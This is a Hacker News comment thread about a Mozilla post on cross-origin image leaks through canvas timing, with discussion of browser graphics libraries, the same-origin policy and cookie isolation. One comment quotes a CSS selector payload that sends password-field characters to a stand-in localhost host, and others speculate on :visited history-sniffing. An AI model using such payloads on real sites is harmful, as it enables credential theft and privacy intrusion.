[HN Gopher] Leaking silhouettes of cross-origin images
___________________________________________________________________
Leaking silhouettes of cross-origin images
Author : arkadiyt
Score : 160 points
Date : 2021-01-12 16:35 UTC (6 hours ago)
(HTM) web link (blog.mozilla.org)
(TXT) w3m dump (blog.mozilla.org)
| tinus_hn wrote:
| What is the use case for the operations that cause these
| 'tainted' canvases anyway?
| jannes wrote:
| The most interesting part for me is that Firefox and Chrome use
| the same drawing library for 2D canvas.
|
| Does this mean that all engines use the same library? Or does
| WebKit use something else?
|
| It reminds me of the Web SQL situation where everyone used the
| same library (SQLite). Eventually, the standard got deprecated
| because of that.
| meibo wrote:
| WebKit used to use Skia as well afaik, but switched to Cairo(a
| FOSS 2d graphics library without any connections to Google)
| after Google forked WebKit.
|
| The same thing happened to V8, Apple made JavaScriptCore to
| remove dependencies on any Google-owned code after Google
| stopped contributing to WebKit itself.
|
| https://trac.webkit.org/wiki/WebKitGTK/Dependencies
| ronaldj wrote:
| Pretty sure JavaScriptCore predates Chrome. V8 was Chrome
| only.
| antiman0 wrote:
| There are so many interesting ways of leaking page content using
| timing attacks like these. There are many more ways to leak
| content without advanced attackvectors, like using CSS to send
| server request based on selectors:
| input[type="password"][value$=" "] { background-image:
| url("http://localhost:3000/+"); }
|
| How can we improve the web to make stuff like this more secure?
| Just setting up CSP (which can prevent the CSS issue) can be
| trial & error pain that is hard to test.
| bennettfeely wrote:
| This doesn't actually work, the value attribute of the input
| doesn't change as a user types something.
|
| With that said, I still think there is a a big discovery yet to
| be made with browsers leaking users' history via the :visited
| selector. Only a few CSS properties can be set with it (all
| related to color). But if there was a way to detect the color
| difference or timing of the painting that would be a big deal.
|
| Possibilities might be with mix-blend-mode, @property, or
| applying "slow" css properties like a blurry text-shadow dozens
| of times. I've played around with this a little but haven't
| found a crack yet.
| capitainenemo wrote:
| It would work however on a password change form though which
| might write out on page load to a password input for
| comparison: [old] [new] [retype new] Sometimes old is
| prefilled with [****] for trivial JS overlap checks.
| zenexer wrote:
| I'm confused. Are you saying a website might actually spit
| out your current password or what you had just entered when
| attempting to change it? The former should never, ever be
| the case; the latter shouldn't be the case, although it
| does happen from time to time.
| capitainenemo wrote:
| Attack scenario would be a website loading CSS that is
| controllable by someone malicious. This could be due to
| ad code or custom themes for part of the site. That CSS
| would include selectors that would trigger different
| remote image requests for different partial matches on
| the value of the input. Based upon what remote URLs were
| triggered, one could reconstruct all or part of a
| password.
|
| But I get your point. The website should not _know_ the
| plaintext of your password for an overlap check unless
| their security practices are really bad. And if they are
| that bad, hopefully it is a throwaway password anyway. A
| duplicate check could still be done with hashes, but
| partial hash leaks are NBD.
|
| Personally, I've had this happen though on password
| change prompts, which makes me think that the website is
| storing the value I just entered temporarily in the
| session. That's still bad even if it isn't being
| persisted beyond that page post though.
| kuschku wrote:
| How about an extremely slow to render zalgo text, switching
| between opacity 0 and 1 depending on visited?
| gruez wrote:
| Isn't this only an issue on sites that allow custom css? There
| aren't many of these sites around (the only one I know of is
| reddit). In most cases if you're in a position to tamper with
| the css you can also tamper with the js directly.
| djxfade wrote:
| Many sites serves CSS from third party CDNs. They could get
| compromised
| bgirard wrote:
| Sadly I think long term mitigating these side-channel attacks is
| not viable. Although stop-gap patches can buy us more time to get
| a good solution in place.
|
| It's impossible for something to behave in the same perfect way
| all the time with all the performance optimizations, fast paths,
| and branching. As soon as something is in your process or you can
| make requests to it, small internal differences will leak
| information via side channels.
| amenghra wrote:
| Right. That's why you should set the SameSite attribute on
| session cookies.
| bgirard wrote:
| Sure, but cookies are only a small part of the problem. It's
| not enough.
| MrStonedOne wrote:
| reading of cross origin images isn't an attack vector
| unless credentials were used to request it.
|
| Otherwise its no different then doing curl on the
| attacker's machine.
| amenghra wrote:
| Reminds me of "pixel perfect attacks with html5" from several
| years ago. That attack used css/svg filters + timing.
| https://www.contextis.com/media/downloads/Pixel_Perfect_Timi...
| arendtio wrote:
| In my opinion, the SOP is a bad/broken solution for the problem
| it tries to fix. The problem are browsers, using the
| authentication from another origin when doing cross-origin
| requests.
|
| The SOP tries to fix it by disallowing certain cross-origin
| requests. But the problem aren't cross-origin requests. The
| problem is using the authentication/state of another origin
| during cross-origin requests.
| andrewla wrote:
| Exactly -- the context under which a resource should be fetched
| from a remote should be strictly scoped to the origin. Remote
| fetches should never use any information from the remote site
| as a top-level context.
|
| That is, if I navigate to foo.com which serves an image from
| bar.com, bar.com can set cookies, etc., and on future visits to
| foo.com the foo.com->bar.com context should be used. But if I
| go to hat.com and it serves an image from bar.com, none of the
| foo.com->bar.com context should be used, only the
| hat.com->bar.com context.
|
| Disabling third party cookies gets you maybe 60% of this, but
| we need to keep going, disabling all caches, etc., except as
| tied to the context of interest. It's probably also time to get
| rid of the idea of "visited" for a link and similar features
| that use global information rather than information scoped to
| the currently visited site. And, of course, eternal vigilance
| against browser fingerprinting attacks.
|
| Since this would cripple a fair share of targeted advertising,
| we might not see this appearing in Chrome (although they do
| offer third-party-cookie-blocking, so there's that), but we
| should definitely see it in Firefox.
| hunter2_ wrote:
| That sounds quite a bit like the double-keyed cache
| partitioning that has been in Safari since 2013, Chrome since
| 2020, and is being considered for Firefox.
|
| e.g.:
|
| https://blog.josephscott.org/2019/10/16/prepare-for-fewer-
| ca...
|
| https://dev.to/zwacky/time-to-say-goodbye-to-google-
| fonts-16...
|
| etc. This is not the exact same thing as what you're
| describing, but I'd say it's along the same trajectory (i.e.,
| there's hope).
| Macha wrote:
| I think First Party Isolation (available by default in Tor
| browser and via a about:config flag in Firefox) is this
| feature?
| andrewla wrote:
| Neat -- this looks like exactly it. Maybe it's time to make
| the switchover.
| the_duke wrote:
| Exactly. I've used this for over a year now in FF.
|
| It can be a bit annoying with things like recaptcha, and
| sadly some login systems completely break (like Atlassian
| SSO), but overall most things work just fine.
| jopsen wrote:
| According to MDN SameSite=Lax is default. Isn't that exactly
| this behavior?
|
| https://developer.mozilla.org/en-
| US/docs/Web/HTTP/Headers/Se...
| andrewla wrote:
| This is voluntary on the cookie-setter's part. There should
| be no way to override it. Also, it only applies to cookies,
| which are already covered under the disallow third-party
| cookie umbrella.
___________________________________________________________________
(page generated 2021-01-12 23:00 UTC)